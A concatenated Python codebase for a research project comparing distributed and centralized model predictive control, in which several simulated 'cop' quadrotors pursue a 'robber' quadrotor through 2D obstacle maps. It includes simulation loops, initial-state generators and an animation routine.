x = [x_rob_des[0], furthest_point[0]]
y = [x_rob_des[1], furthest_point[1]]
f = interp1d(x,y)
# calculate next robber desired position using interpolation
xnew = x_rob_des[0] + ((furthest_point[0] - x_rob_des[0]) / 2000).item()
ynew = f(xnew).item()
new_x_rob_des = np.array([xnew, ynew])
# check that next robber desired position doesnt interfere with obstacles
for obs in obstacles:
obs_center = np.array(obs.center)
obs_radius = obs.radius
dist = np.linalg.norm(new_x_rob_des - obs_center)
if dist < obs_radius + margin:
new_x_rob_des = np.array([xnew + .1, ynew])
return new_x_rob_des
def robber_sim(x_robber, quad_robber, x_des, x_js, dt, obstacles):
current_x_robber = x_robber[-1]
current_u_cmd_robber = quad_robber.compute_mpc_feedback(current_x_robber, x_des, x_js, obstacles)
current_u_robber_real = np.clip(current_u_cmd_robber, quad_robber.umin, quad_robber.umax)
# Autonomous ODE for constant inputs to work with solve_ivp
def f_robber(t, x):
return quad_robber.continuous_time_full_dynamics(current_x_robber + x_des, current_u_robber_real)
# Integrate one step
sol_rob = solve_ivp(f_robber, (0, dt), current_x_robber, first_step=dt)
return sol_rob.y[:, -1], current_u_cmd_robber
def cop_sim(x_cop, quad_cop, x_des, xjs, dt, obstacles):
current_x_cop = x_cop[-1].copy()
current_u_cmd_cop = quad_cop.compute_mpc_feedback(current_x_cop, x_des, xjs, obstacles)
current_u_cop_real = np.clip(current_u_cmd_cop, quad_cop.umin, quad_cop.umax)
# Autonomous ODE for constant inputs to work with solve_ivp
def f_cop(t, x):
return quad_cop.continuous_time_full_dynamics(current_x_cop + x_des, current_u_cop_real)
# Integrate one step
sol_cop = solve_ivp(f_cop, (0, dt), current_x_cop, first_step=dt)
return sol_cop.y[:, -1], current_u_cmd_cop
def simulate_quadrotor(x0_cops, x0_robber, quad_cops, quad_robber, tf, num_cops, obstacles, x0_rob_des):
# Simulates a stabilized maneuver on the 2D quadrotor
# system, with an initial value of x0
t0 = 0.0
n_points = 1000
dt = 1e-2
# rectangle corners of environment
env_extents = np.array([[0, 0],
[40, 0],
[0, 20],
[40, 20]])
# robber setup
x_robber = [x0_robber]
u_robber = [np.zeros((2,))]
x_rob_des = x0_rob_des
x_rob_des_list = []
# robber desired location (furthest point in map from intialization)
# distances = np.linalg.norm(np.ones((4,2)) * x_rob_des[0:2] - env_extents, axis = 1)
# furthest_point = env_extents[np.argmax(distances)]
# cops setup
x_cops = []
u_cops = []
x_cop_des = []
x_cops_current = np.zeros((num_cops, 2))
for i in range(num_cops):
x_cops_current[i] = x0_cops[i][0:2]
x_cops.append([x0_cops[i]])
u_cops.append([np.zeros((2,))])
t = [t0]
eps_y = 0.5
eps_z = 0.05
eps_check = True
start = time.time()
while eps_check and t[-1] < tf:
# get position of closest cop
close_cop = closest_cop(x_cops_current, x_robber[-1])
# get furthest point from closest cop
furthest_point = furthest_point_from_cop(close_cop, env_extents)
# static robber desired position
# x_rob_des_list.append(x0_rob_des)
# moving robber desired position
x_rob_des = robber_desired_pos(x_rob_des, furthest_point, obstacles)
x_rob_des_list.append(np.array([x_rob_des[0], x_rob_des[1], 0, 0, 0, 0]))
# re-initialize current positions of all cops
x_cops_current = np.zeros((num_cops, 2))
# current_time = t[-1]
x_cop_des.append(np.array([x_robber[-1][0], x_robber[-1][1], 0, 0, 0, 0]))
xj_curr = []
for i in range(num_cops):
xj_curr.append(x_cops[i][-1])
# Compute MPC for robber
sol_rob, u_cmd_rob = robber_sim(x_robber, quad_robber, x_rob_des_list[-1], xj_curr, dt, obstacles)
x_robber.append(sol_rob)
u_robber.append(u_cmd_rob)
# compute MPC for cops
for i in range(num_cops):
xjs = []
for j in range(num_cops):
if not i==j:
xjs.append(xj_curr[j])
sol_cop, u_cmd_cop = cop_sim(x_cops[i], quad_cops[i], x_cop_des[-1], xjs, dt, obstacles)
x_cops_current[i] = x_cops[i][-1][0:2]
x_cops[i].append(sol_cop)
u_cops[i].append(u_cmd_cop)
t.append(t[-1] + dt)
# determine if cops captured robber
for i in range(num_cops):
y_dist = x_cops[i][-1][0] - x_cop_des[-1][0]
z_dist = x_cops[i][-1][1] - x_cop_des[-1][1]
# print("Distances for cop {}: y = {}, z = {}".format(i, y_dist, z_dist))
if eps_check:
eps_check = not (abs(y_dist) <= eps_y and abs(z_dist) <= eps_z)
print("time: {:.2f}".format(t[-1]))
# print("desired: {}\n".format(x_cop_des[-1]))
end = time.time()
t_elapsed = end - start
x_cops = np.array(x_cops)
x_cop_des = np.array(x_cop_des)
u_cops = np.array(u_cops)
x_rob_des_list = np.array(x_rob_des_list)
t = np.array(t)
return x_cops, x_cop_des, u_cops, x_robber, x_rob_des_list, u_robber, t, t_elapsed
def plot_x_and_u(x, u, t, name):
plt.figure()
ax = plt.axes()
plt.plot(0, 0, 'o', label='target position')
plt.plot(x[0, 0], x[0, 1], 'o', label='initial position')
plt.plot(x[:, 0], x[:, 1], label='actual trajectory')
plt.xlabel("y (m)")
plt.ylabel("z (m)")
plt.legend()
ax.set_aspect('equal', 'datalim')
ax.legend(loc='upper right')
plt.title("Quadrotor trajectory (" + name + ")")
plt.figure()
plt.plot(t[1:], u[1:])
plt.xlabel("time (s)")
plt.ylabel("u (N)")
plt.legend(["u1", "u2"])
plt.title(name + " commanded inputs")
if __name__ == '__main__':
R = np.eye(2);
Q = np.diag([10, 10, 1, 1, 1, 1]);
Qf = Q;
quadrotor = Quadrotor(Q, R, Qf);
# Initial state
d_rand = 1
x0 = np.array([0.5, 0.5, 0, 1, 1, 0])
tf = 10;
x, u, t = simulate_quadrotor(x0, tf, quadrotor)
plot_x_and_u(x, u, t, "MPC")
plt.show()<file_sep>/main.py
import numpy as np
import matplotlib.pyplot as plt
import importlib
import matplotlib; matplotlib.use("TkAgg")
import matplotlib.animation as animation
# Import Simulator
from quad_sim import simulate_quadrotor
from quad_sim_centralized import simulate_quadrotor_centralized
import initial_states
# Load Quadrotor Objects
import quadrotor
import quadrotor_centralized
import quadrotor_robber
# Reload Modules to Use Latest Code
importlib.reload(quadrotor)
importlib.reload(quadrotor_centralized)
importlib.reload(quadrotor_robber)
from quadrotor import Quadrotor
from quadrotor_centralized import QuadrotorCentralized
from quadrotor_robber import QuadrotorRobber
# Load Environment Manager
import environment_manager
importlib.reload(environment_manager)
from environment_manager import Map
# Load Animation Function
import create_animation
importlib.reload(create_animation)
from create_animation import create_animation
# Bounds of Environment
y_min = 0
y_max = 40
z_min = 0
z_max = 20
# Map
ax = plt.axes()
plt.close()
environment = Map() # Initialize Map Class
# obstacles = environment.map_3() # Fixed
# obstacles = environment.map_4(ax, y_min, y_max, z_min, z_max) # Random
# obstacles = environment.map_5() # Fixed Dense Maze
obstacles = environment.map_6() # Fixed Sparse, Small Obstacle Maze
# obstacles = environment.map_7() # Fixed Sparse, Large Obstacle Maze
# obstacles = environment.map_8() # City Blocks, Gaps
# obstacles = environment.map_9() # City Blocks, Solid Walls
# Weights of LQR cost
R = np.eye(2)
Q = np.diag([1, 1, 0, 1, 1, 1])
Qf = Q
# End time of the simulation
tf = 300
# Number of Cop Quadrotors
num_cops = 5
# Construct Cop Quadrotor Controllers
# Distributed MPC Quadrotor Objects
quad_cops = []
for i in range(num_cops):
quad_cops.append(Quadrotor(Q, R, Qf))
# Centralized Quadrotor Objects
quadrotor_central = QuadrotorCentralized(Q, R, Qf)
# Construct Robber Quadrotor Controller
quad_robber = QuadrotorRobber(Q, R, Qf)
# Initial States of Quadrotors
# Fixed Initializations
x0_cops = initial_states.cops_fixed(num_cops) # Fixed Cop Initializations
x0_robber = initial_states.robber_fixed() # Fixed Robber Initialization
x0_robber_des = initial_states.init_fixed_robber_des() # Fixed Robber Desired Initialization
# Random Initializations
# x0_cops = initial_states.cops_random(obstacles, num_cops, y_min, y_max, z_min, z_max) # Random Cop Initializations
# x0_robber = initial_states.robber_random(x0_cops, obstacles, num_cops, y_min, y_max, z_min, z_max) # Random Robber Initialization
# x0_robber_des = initial_states.init_robber_des(obstacles, y_min, y_max, z_min, z_max)
# Simulate Quadrotors
# Distributed MPC
x_cops, x_cop_d, u_cops, x_robber, x_rob_d, u_robber, t, t_e = simulate_quadrotor(x0_cops, x0_robber, quad_cops, quad_robber,
tf, num_cops, obstacles, x0_robber_des)
# Create Animation
x_out = np.stack(([c for c in x_cops] + [x_robber]), axis=0)
x_d_out = np.stack((x_cop_d, x_rob_d), axis=0)
anim, fig2 = create_animation(x_out, x_d_out, t, obstacles, num_cops + 1, title="Distributed")
# writervideo = animation.FFMpegWriter(fps=5)
# anim.save('distributed.mp4',writer=writervideo)
plt.show()
# Simulate Quadrotors
# Centralized MPC
x_cops_c, x_cop_d_c, u_cops_c, x_robber_c, x_rob_d_c, u_robber_c, t_c, t_e_c = simulate_quadrotor_centralized(x0_cops, x0_robber, quadrotor_central,
quad_robber, tf, num_cops, obstacles, x0_robber_des)
# Create Animation
x_out_c = np.stack(([c for c in x_cops_c] + [x_robber_c]), axis=0)
x_d_out_c = np.stack((x_cop_d_c, x_rob_d_c), axis=0)
print("\nDistributed: t_f = {:.2f}, t_elapsed = {:.2f}".format(t[-1], t_e))
print("Centralized: t_f = {:.2f}, t_elapsed = {:.2f}".format(t_c[-1], t_e_c))
anim_c, fig3 = create_animation(x_out_c, x_d_out_c, t_c, obstacles, num_cops + 1, title = "Centralized")
# anim_c.save('central.mp4',writer=writervideo)
plt.show()
print()<file_sep>/README.md
# multi_robot_MPC
distributed vs. centralized MPC for multi-robot target interception
<file_sep>/main_centralized.py
import numpy as np
import matplotlib.pyplot as plt
import importlib
import matplotlib; matplotlib.use("TkAgg")
# Import Simulator
from quad_sim_centralized import simulate_quadrotor_centralized
import initial_states
# Load Quadrotor Objects
import quadrotor_centralized
import quadrotor_robber
#Reload Modules to Use Latest Code
importlib.reload(quadrotor_centralized)
importlib.reload(quadrotor_robber)
from quadrotor_centralized import QuadrotorCentralized
from quadrotor_robber import QuadrotorRobber
# Load Environment Manager
import environment_manager
importlib.reload(environment_manager)
from environment_manager import Map
# Load Animation Function
import create_animation
importlib.reload(create_animation)
from create_animation import create_animation
# Bounds of Environment
y_min = 0
y_max = 7.5
z_min = 0
z_max = 7.5
# Map
ax = plt.axes()
plt.close()
environment = Map # Initialize Map Class
# obstacles = environment().map_3(ax)
obstacles = environment().map_4(ax, y_min, y_max, z_min, z_max) # Random
# Weights of LQR cost
R = np.eye(2)
Q = np.diag([1, 1, 0, 1, 1, 1])
Qf = Q
# End time of the simulation
tf = 30
# Number of Cop Quadrotors
num_cops = 3
# Construct Robber Quadrotor Controller
quadrotor_central = QuadrotorCentralized(Q, R, Qf)
# Construct Robber Quadrotor Controller
quad_robber = QuadrotorRobber(Q, R, Qf)
# Initial States of Quadrotors
# Fixed Initializations
# x0_cops = initial_states.cops_fixed(num_cops) # Fixed Cop Initializations
# x0_robber = initial_states.robber_fixed() # Fixed Robber Initialization
# Random Initializations
x0_cops = initial_states.cops_random(obstacles, num_cops, y_min, y_max, z_min, z_max) # Random Cop Initializations
x0_robber = initial_states.robber_random(x0_cops, obstacles, num_cops, y_min, y_max, z_min, z_max) # Random Robber Initialization
x0_robber_des = initial_states.init_robber_des(obstacles, y_min, y_max, z_min, z_max)
# Simulate Quadrotors
x_cops, x_cop_d, u_cops, x_robber, x_rob_d, u_robber, t, t_e = simulate_quadrotor_centralized(x0_cops, x0_robber, quadrotor_central,
quad_robber, tf, num_cops, obstacles, x0_robber_des)
# Create Animation
x_out = np.stack(([c for c in x_cops] + [x_robber]), axis=0)
x_d_out = np.stack((x_cop_d, x_rob_d), axis=0)
anim, fig2 = create_animation(x_out, x_d_out, t, obstacles, num_cops + 1)
anim
plt.show()
<file_sep>/quad_sim_centralized.py
import numpy as np
from math import sin, cos, pi
from scipy.integrate import solve_ivp
from scipy.interpolate import interp1d
from quadrotor_centralized import QuadrotorCentralized
import matplotlib.pyplot as plt
import time
def closest_cop(cop_positions, robber_position):
# initialize
dist = np.inf
# calculate closes cop to robber
for i in cop_positions:
dist_new = (((i[0] - robber_position[0]) ** 2) + ((i[1] - robber_position[1]) ** 2) ** (1/2))
if dist_new < dist:
dist = dist_new
close_cop_pos = i
close_cop = np.array([close_cop_pos[0], close_cop_pos[1], 0,0,0,0])
return close_cop
def furthest_point_from_cop(close_cop, env_extents):
# initialize
dist = -1
furthest_point = np.array([0, 0])
# calculate furthest point from cop in environment
for i in env_extents:
dist_new = (((i[0] - close_cop[0]) ** 2) + ((i[1] - close_cop[1]) ** 2) ** (1 / 2))
if dist_new > dist: # and dist_new < 10:
dist = dist_new
furthest_point = i
furthest_point = np.array([furthest_point[0], furthest_point[1], 0, 0, 0, 0])
return furthest_point
def robber_desired_pos(x_rob_des, furthest_point, obstacles):
margin = 0.5
# interpolation function between current goal and furthest point
x = [x_rob_des[0], furthest_point[0]]
y = [x_rob_des[1], furthest_point[1]]
f = interp1d(x,y)
# calculate next robber desired position using interpolation
xnew = x_rob_des[0] + ((furthest_point[0] - x_rob_des[0]) / 2000).item()
ynew = f(xnew).item()
new_x_rob_des = np.array([xnew, ynew])
# check that next robber desired position doesnt interfere with obstacles
for obs in obstacles:
obs_center = np.array(obs.center)
obs_radius = obs.radius
dist = np.linalg.norm(new_x_rob_des - obs_center)
if dist < obs_radius + margin:
new_x_rob_des = np.array([xnew + .1, ynew])
return new_x_rob_des
def robber_sim(x_robber, quad_robber, x_des, x_cops, dt, num_cops, obstacles):
current_x_robber = x_robber[-1]
current_x_cops = []
for i in range(num_cops):
current_x_cops.append(x_cops[i][-1])
current_u_cmd_robber = quad_robber.compute_mpc_feedback(current_x_robber, x_des, current_x_cops, obstacles)
current_u_robber_real = np.clip(current_u_cmd_robber, quad_robber.umin, quad_robber.umax)
# Autonomous ODE for constant inputs to work with solve_ivp
def f_robber(t, x):
return quad_robber.continuous_time_full_dynamics(current_x_robber + x_des, current_u_robber_real)
# Integrate one step
sol_rob = solve_ivp(f_robber, (0, dt), current_x_robber, first_step=dt)
return sol_rob.y[:, -1], current_u_cmd_robber
def cop_sim(x_cops, quad_cops, x_des, dt, num_cops, obstacles):
# print(x_cops)
# print(len(x_cops))
current_x_cops = []
for i in range(num_cops):
current_x_cops.append([x_cops[i][-1]])
current_u_cmd_cops = quad_cops.compute_mpc_feedback(current_x_cops, x_des, obstacles, num_cops) # Returns 3x2 array
current_u_cops_real = np.clip(current_u_cmd_cops, quad_cops.umin, quad_cops.umax)
# Autonomous ODE for constant inputs to work with solve_ivp
sol_cops = []
# print("Curr: {}".format(current_x_cops))
# print("des: {}".format(x_des))
# print("err: {}".format(current_x_cops + x_des))
for i in range(num_cops):
def f_cop(t, x):
return quad_cops.continuous_time_full_dynamics(current_x_cops[i][0] + x_des[i][0], current_u_cops_real[i])
# Integrate one step
sol_cop = solve_ivp(f_cop, (0, dt), current_x_cops[i][0], first_step=dt)
sol_cops.append(sol_cop.y[:, -1]) # Appends (6,) array
# print("Sol: {}".format(sol_cop.y[:, -1]))
return sol_cops, current_u_cmd_cops # sol_cops: List of arrays, current_u_cmd: 3x2 array
def simulate_quadrotor_centralized(x0_cops, x0_robber, quad_cops, quad_robber, tf, num_cops, obstacles, x0_rob_des):
# Simulates a stabilized maneuver on the 2D quadrotor
# system, with an initial value of x0
t0 = 0.0
n_points = 1000
dt = 1e-2
# rectangle corners of environment
env_extents = np.array([[0, 0],
[40, 0],
[0, 20],
[40, 20]])
# robber setup
x_robber = [x0_robber]
u_robber = [np.zeros((2,))]
x_rob_des = x0_rob_des
x_rob_des_list = []
# robber desired location (furthest point in map from intialization)
# distances = np.linalg.norm(np.ones((4, 2)) * x_rob_des[0:2] - env_extents, axis=1)
# furthest_point = env_extents[np.argmax(distances)]
# cops setup
x_cops = []
u_cops = []
x_cop_des = []
x_cops_current = np.zeros((num_cops, 2))
for i in range(num_cops):
x_cops_current[i] = x0_cops[i][0:2]
x_cops.append([x0_cops[i]])
u_cops.append([np.zeros((2,))])
t = [t0]
eps_y = 0.5
eps_z = 0.05
eps_check = True
start = time.time()
while eps_check and t[-1] < tf:
# get position of closest cop
close_cop = closest_cop(x_cops_current, x_robber[-1])
# get furthest point from closest cop
furthest_point = furthest_point_from_cop(close_cop, env_extents)
# static robber desired position
# x_rob_des_list.append(x0_rob_des)
# moving robber desired position
x_rob_des = robber_desired_pos(x_rob_des, furthest_point, obstacles)
x_rob_des_list.append(np.array([x_rob_des[0], x_rob_des[1], 0, 0, 0, 0]))
# re-initialize current positions of all cops
x_cops_current = np.zeros((num_cops, 2))
# current_time = t[-1]
x_cop_des.append(np.array([x_robber[-1][0], x_robber[-1][1], 0, 0, 0, 0]))
# Compute MPC for robber
sol_rob, u_cmd_rob = robber_sim(x_robber, quad_robber, x_rob_des_list[-1], x_cops, dt, num_cops, obstacles)
x_robber.append(sol_rob)
u_robber.append(u_cmd_rob)
# List of Each Cop's Desired State Vector
x_cops_des = [[x_cop_des[-1]]]*num_cops # List of lists of arrays
# a=x_cops_des[-3:] # Returns list of lists of arrays
# x_cops list of lists of arrays
sol_cops, u_cmd_cops = cop_sim(x_cops, quad_cops, x_cops_des[-num_cops:], dt, num_cops, obstacles)
for i in range(num_cops):
x_cops_current[i] = x_cops[i][-1][0:2]
x_cops[i].append(sol_cops[i])
u_cops[i].append(u_cmd_cops[i])
t.append(t[-1] + dt)
# determine if cops captured robber
for i in range(num_cops):
y_dist = x_cops[i][-1][0] - x_cop_des[-1][0]
z_dist = x_cops[i][-1][1] - x_cop_des[-1][1]
# print("Distances for cop {}: y = {}, z = {}".format(i, y_dist, z_dist))
if eps_check:
eps_check = not (abs(y_dist) <= eps_y and abs(z_dist) <= eps_z)
print("time: {:.2f}".format(t[-1])) # this
#print("cops: {}".format(x_cops[:][-1]))
print("desired: {}\n".format(x_cop_des[-1])) #this
end = time.time()
time_elapsed = end - start
x_cops = np.array(x_cops)
x_cop_des = np.array(x_cop_des)
u_cops = np.array(u_cops)
x_rob_des_list = np.array(x_rob_des_list)
t = np.array(t)
return x_cops, x_cop_des, u_cops, x_robber, x_rob_des_list, u_robber, t, time_elapsed
def plot_x_and_u(x, u, t, name):
plt.figure()
ax = plt.axes()
plt.plot(0, 0, 'o', label='target position')
plt.plot(x[0, 0], x[0, 1], 'o', label='initial position')
plt.plot(x[:, 0], x[:, 1], label='actual trajectory')
plt.xlabel("y (m)")
plt.ylabel("z (m)")
plt.legend()
ax.set_aspect('equal', 'datalim')
ax.legend(loc='upper right')
plt.title("Quadrotor trajectory (" + name + ")")
plt.figure()
plt.plot(t[1:], u[1:])
plt.xlabel("time (s)")
plt.ylabel("u (N)")
plt.legend(["u1", "u2"])
plt.title(name + " commanded inputs")
if __name__ == '__main__':
R = np.eye(2);
Q = np.diag([10, 10, 1, 1, 1, 1]);
Qf = Q;
quadrotor = QuadrotorCentralized(Q, R, Qf);
# Initial state
d_rand = 1
x0 = np.array([0.5, 0.5, 0, 1, 1, 0])
tf = 10;
x, u, t = simulate_quadrotor_centralized(x0, tf, quadrotor)
plot_x_and_u(x, u, t, "MPC")
plt.show()<file_sep>/initial_states.py
import numpy as np
from numpy.linalg import norm
def cops_fixed(num_cops):
# # Map 5
# x0_0 = np.array([0, 3.5, 0, 0, 0, 0]) # Cop 0
# x1_0 = np.array([0, 7.5, 0, 0, 0, 0]) # Cop 1
# x2_0 = np.array([3.5, 1.5, 0, 0, 0, 0]) # Cop 2
# x3_0 = np.array([3.5, 5.5, 0, 0, 0, 0]) # Cop 3
# x4_0 = np.array([3.5, 9.5, 0, 0, 0, 0]) # Cop 4
# Map 6, 7
x0_0 = np.array([0, 5.5, 0, 0, 0, 0]) # Cop 0
x1_0 = np.array([0, 13.5, 0, 0, 0, 0]) # Cop 1
x2_0 = np.array([9.5, 1.5, 0, 0, 0, 0]) # Cop 2
x3_0 = np.array([9.5, 9.5, 0, 0, 0, 0]) # Cop 3
x4_0 = np.array([9.5, 17.5, 0, 0, 0, 0]) # Cop 4
# Map 8, 9
# x0_0 = np.array([0, 3.5, 0, 0, 0, 0]) # Cop 0
# x1_0 = np.array([0, 7.5, 0, 0, 0, 0]) # Cop 1
# x2_0 = np.array([0, 11.5, 0, 0, 0, 0]) # Cop 2
# x3_0 = np.array([6.5, 3.5, 0, 0, 0, 0]) # Cop 3
# x4_0 = np.array([6.5, 11.5, 0, 0, 0, 0]) # Cop 4
x_all_cops = [x0_0, x1_0, x2_0, x3_0, x4_0] # Combine Cops
x0_cops =[] # Initialize Output
# Gather Initial States
for i in range(num_cops):
x0_cops.append(x_all_cops[i])
return x0_cops
def robber_fixed():
# Map 5
# x0_robber = np.array([7.5, 5.5, 0.0, 0.0, 0.0, 0.0])
# Map 6, 7
x0_robber = np.array([17.5, 13.5, 0.0, 0.0, 0.0, 0.0])
# Map 8, 9
# x0_robber = np.array([10.5, 7.5, 0.0, 0.0, 0.0, 0.0])
return x0_robber
# Random Initial States of Cops
def cops_random(obstacles, num_cops, y_min, y_max, z_min, z_max):
# Initialize Distances
safe_dist_cop = 0.75 # Safe Distance Between Cops
dist_bw_cops = [] # Store Distance Between Cops
cop_locs = [] # Stoce Cop Locations
# Initialize Cop Locations
for i in range(num_cops):
dist_bw_cops.append(0)
# While Loop Counters
outside_while = 0
inner_while = 0
# Check Cops are Not Colliding With Each Other
while any(x < safe_dist_cop for x in dist_bw_cops):
# Generate Random Initial Cop Positions
for i in range(num_cops):
y0 = np.random.uniform(y_min, y_max)
z0 = np.random.uniform(z_min, z_max)
cop_loc = np.array([y0, z0])
cop_locs.append(cop_loc)
# Check Cops are Not Colliding with Obstacles
for i in range(num_cops):
dist_bw_obs_cop = [] # Store Distance Between Obstacles and Cop
obs_safe_dist = [] # Store Safe Distance Between Obstacles
for j in range(len(obstacles)):
# Calculate Safe Distance From Obstacle
obs_safe_dist.append(obstacles[j].radius + 0.25)
# Distance Between Cop and Obstacles
dist_bw_obs_cop.append(norm(cop_locs[i] - np.array(obstacles[j].center)))
# Check Cop is Not Colliding with Obstacles
while any(x < y for x, y in zip(dist_bw_obs_cop, obs_safe_dist)):
# Generate Random Initial Cop Positions
y0 = np.random.uniform(y_min, y_max)
z0 = np.random.uniform(z_min, z_max)
cop_loc = np.array([y0, z0])
cop_locs[i] = cop_loc
inner_while += 1
print("inner_while",inner_while)
# Initialize Distance Between Cops
dist_bw_cops = []
# Calculate Distance Between Cops
for i in range(num_cops):
for j in range(i + 1, num_cops):
if j < num_cops:
dist_bw_cops.append(norm(cop_locs[i] - cop_locs[j]))
outside_while += 1
print("outside_while",outside_while)
# Initialize Cop Initial States
x0_cops = []
# Store Cop Initial States
for i in range(num_cops):
x0_cop = np.array([cop_locs[i][0], cop_locs[i][1], 0, 0, 0, 0])
x0_cops.append(x0_cop)
print("Initialized Cops")
return x0_cops
# Random Initial State of Robber
def robber_random(x0_cops, obstacles, num_cops, y_min, y_max, z_min, z_max):
# While Loop Counters
outside_while = 0
inner_while = 0
# Initialize Distances
safe_dist_cop = 0.75 # Safe Distance Between Cops
dist_bw_cops_rob = [] # Store Distance Between Cops and Robber
for i in range(num_cops):
dist_bw_cops_rob.append(0)
# Check Obstacle & Cop Collisions
while any(x < safe_dist_cop for x in dist_bw_cops_rob):
# Generate Random Robber Position
x0_rob_y0 = np.random.uniform(y_min, y_max)
x0_rob_z0 = np.random.uniform(z_min, z_max)
robber_loc0 = np.array([x0_rob_y0, x0_rob_z0])
# Check Not Colliding With Obstacles
dist_bw_obs_rob = [] # Store Distance Between Obstacles and Cop
obs_safe_dist = [] # Store Safe Distance Between Obstacles
for i in range(len(obstacles)):
# Calculate Safe Distance From Obstacle
obs_safe_dist.append(obstacles[i].radius + 0.25)
# Distance Between Cop and Obstacles
dist_bw_obs_rob.append(norm(robber_loc0 - np.array(obstacles[i].center)))
# Check Robber is Not Colliding with Obstacles
while any(x < y for x, y in zip(dist_bw_obs_rob, obs_safe_dist)):
# Generate Random Initial Cop Positions
x0_rob_y0 = np.random.uniform(y_min, y_max)
x0_rob_z0 = np.random.uniform(z_min, z_max)
robber_loc0 = np.array([x0_rob_y0, x0_rob_z0])
inner_while += 1
print("inner_while",inner_while)
dist_bw_cops_rob = []
for i in range(num_cops):
dist_bw_cops_rob.append(norm(robber_loc0 - x0_cops[i][0:2]))
outside_while += 1
print("outside_while",outside_while)
# Store Initial Robber State
x0_robber = np.array([x0_rob_y0, x0_rob_z0, 0, 0, 0, 0])
print("Initialized Robber")
return x0_robber
def init_robber_des(obstacles, y_min, y_max, z_min, z_max):
margin = 0.5
x0_robber_des = np.array([0.0, 0.0, 0.0, 0.0, 0.0, 0.0])
rob_des_found = False
while not rob_des_found:
x0_robber_des[0] = np.random.uniform(y_min, y_max)
x0_robber_des[1] = np.random.uniform(z_min, z_max)
for obs in obstacles:
obs_center = np.array(obs.center)
obs_radius = obs.radius
dist = np.linalg.norm(x0_robber_des[0:2] - obs_center)
if dist < obs_radius + margin:
rob_des_found = False
break
else:
rob_des_found = True
return x0_robber_des
def init_fixed_robber_des():
# Map 5
# x0_robber_des = np.array([11.5, 5.5, 0.0, 0.0, 0.0, 0.0])
# Map 6, 7
x0_robber_des = np.array([21.5, 13.5, 0.0, 0.0, 0.0, 0.0])
# Map 8, 9
# x0_robber_des = np.array([15.0, 7.5, 0.0, 0.0, 0.0, 0.0])
return x0_robber_des<file_sep>/create_animation.py
from math import *
import numpy as np
import matplotlib.pyplot as plt
from mpl_toolkits import mplot3d
import matplotlib.animation as animation
import importlib
import environment_manager
importlib.reload(environment_manager)
from environment_manager import Map
from copy import copy
def create_animation(x, x_des, t, obstacles, n_agents = 1, dt = 0.01, n_frames = 60, title=""):
# Sample desired trajectory
#n_samples = 1000
#t_samples = np.linspace(0.0, tf, n_samples)
#x_des = np.zeros((n_agents, n_samples, 6))
#for i in range(t_samples.shape[0]):
#x_des[:, i] = x_d(t_samples[i])
from matplotlib import rc
rc('animation', html='jshtml')
tf = t[-1]
n_frames = max(2, int(tf / (30 * dt)))
# fig = plt.figure(figsize=(8,6))
fig, ax = plt.subplots()
# ax = plt.axes()
# ax = fig.axes()
# print(x_des) this
# print(x_des) this
if n_agents == 1:
x = x.reshape((1, x.shape[0], x.shape[1]))
# x_max = max(np.max(x_des[:, :, 0]), np.max(x[:, :, 0]))
# x_min = min(np.min(x_des[:, :, 0]), np.min(x[:, :, 0]))
# y_max = max(np.max(x_des[:, :, 1]), np.max(x[:, :, 1]))
# y_min = min(np.min(x_des[:, :, 1]), np.min(x[:, :, 1]))
# # Map 0: Straightway
# y_max = 12
# y_min = 0
# z_max = 35
# z_min = 0
# ax.set_xlim(y_min, y_max)
# ax.set_ylim(z_min, z_max)
# ax.set_aspect('equal')
# # Map 1: City Blocks
# y_max = 12
# y_min = 0
# z_max = 35
# z_min = 0
# ax.set_xlim(y_min, y_max)
# ax.set_ylim(z_min, z_max)
# ax.set_aspect('equal')
# # Map 2: Symmetric Maze
# y_max = 7.5
# y_min = 0
# z_max = 35
# z_min = 0
# ax.set_xlim(y_min, y_max)
# ax.set_ylim(z_min, z_max)
# ax.set_aspect('equal')
# # Map 3: Symmetric Maze
y_min = 0
y_max = 40
z_min = 0
z_max = 20
ax.set_xlim(y_min, y_max)
ax.set_ylim(z_min, z_max)
ax.set_aspect('equal')
#n_frames = round(x.shape[1]/10)
# noinspection PyTypeChecker
frame_idx = [round(x) for x in np.linspace(0, x_des.shape[1]-1, n_frames).tolist()]
x_anim = np.zeros((n_agents, n_frames, 6))
x_d_anim = np.zeros((2, n_frames, 6))
t_anim = np.zeros((n_frames))
for i in range(n_frames):
x_anim[:, i, :] = x[:, frame_idx[i], :]
x_d_anim[:, i, :] = x_des[:, frame_idx[i], :]
t_anim[i] = t[frame_idx[i]]
# a = length of quadrotor
a = 0.25
y = x_anim[:, :, 0]
z = x_anim[:, :, 1]
theta = x_anim[:, :, 2]
# x_padding = 0.25 * (x_max - x_min)
# y_padding = 0.25 * (y_max - y_min)
y_padding = 0.25 * (y_max - y_min)
z_padding = 0.25 * (z_max - z_min)
def frame(i):
ax.clear()
for n in range(n_agents):
if n == n_agents-1:
key = 1
color = 'r'
else:
key = 0
color = 'g'
# Plot Obstacles
map_plot(ax, obstacles)
if not key and n>0:
ax.plot(x_d_anim[key, i, 0], x_d_anim[key, i, 1], color + '*', label='_nolegend_')
ax.plot(x_anim[n, 0:i + 1, 0], x_anim[n, 0:i + 1, 1], color + '--', label='_nolegend_')
elif not key:
ax.plot(x_d_anim[key, i, 0], x_d_anim[key, i, 1], color+'*', label='cop desired position')
ax.plot(x_anim[n, 0:i + 1, 0], x_anim[n, 0:i + 1, 1], color+'--', label='cop actual trajectory')
else:
ax.plot(x_d_anim[key, i, 0], x_d_anim[key, i, 1], color+'*', label='robber desired position')
ax.plot(x_anim[n, 0:i + 1, 0], x_anim[n, 0:i + 1, 1], color+'--', label='robber actual trajectory')
# plot=ax.scatter(x_anim[i, 0], x_anim[i, 1], c='r', label='quadrotor position')
ax.plot([y[n, i] + a*cos(theta[n, i]), y[n, i] - a*cos(theta[n, i])],
[z[n, i] + a*sin(theta[n, i]), z[n, i] - a*sin(theta[n, i])] , color, linewidth=1)
# if(np.abs((x_max - x_min) - (y_max - y_min)) < 5):
# ax.set_xlim(x_min - x_padding, x_max + x_padding)
# ax.set_ylim(y_min - y_padding, y_max + y_padding)
if(np.abs((y_max - y_min) - (z_max - z_min)) < 5):
ax.set_xlim(y_min - y_padding, y_max + y_padding)
ax.set_ylim(z_min - z_padding, z_max + z_padding)
ax.set_xlabel('y (m)')
ax.set_ylabel('z (m)')
ax.set_aspect('equal')
ax.legend(loc='upper left')
ax.text(0.9, 0.02, "time: {:.2f}s".format(float(t_anim[i])), horizontalalignment='center', verticalalignment='center', transform=ax.transAxes)
ax.set_title(title)
return ax
